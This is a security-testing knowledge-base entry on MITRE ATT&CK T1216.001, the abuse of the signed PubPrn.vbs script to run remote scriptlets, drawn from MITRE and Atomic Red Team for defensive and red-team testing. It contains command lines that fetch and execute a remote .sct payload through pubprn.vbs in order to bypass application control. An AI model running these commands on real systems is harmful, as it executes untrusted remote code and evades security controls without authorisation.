t1216-001-pubprn

name	T1216.001_pubprn
description	Adversaries may use PubPrn to proxy execution of malicious remote files.
category	configuration
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1216.001","defense-evasion","windows","sub-technique"]
technique_id	T1216.001
tactic	defense-evasion
all_tactics	["defense-evasion"]
platforms	["Windows"]
mitre_url	https://attack.mitre.org/techniques/T1216/001
tech_stack	["windows"]
cwe_ids	["CWE-693"]
chains_with	["T1216","T1216.002"]
prerequisites	["T1216"]
severity_boost	{"T1216":"Chain with T1216 for deeper attack path","T1216.002":"Chain with T1216.002 for deeper attack path"}

T1216.001 PubPrn

Sub-technique of: T1216

High-Level Description

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).

Kill Chain Phase

• Defense Evasion (TA0005)

Platforms: Windows

What to Check

• Identify if PubPrn technique is applicable to target environment
• Check Windows systems for indicators of PubPrn
• Verify mitigations are bypassed or absent (2 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: PubPrn.vbs Signed Script Bypass

Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.

Supported Platforms: windows

cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"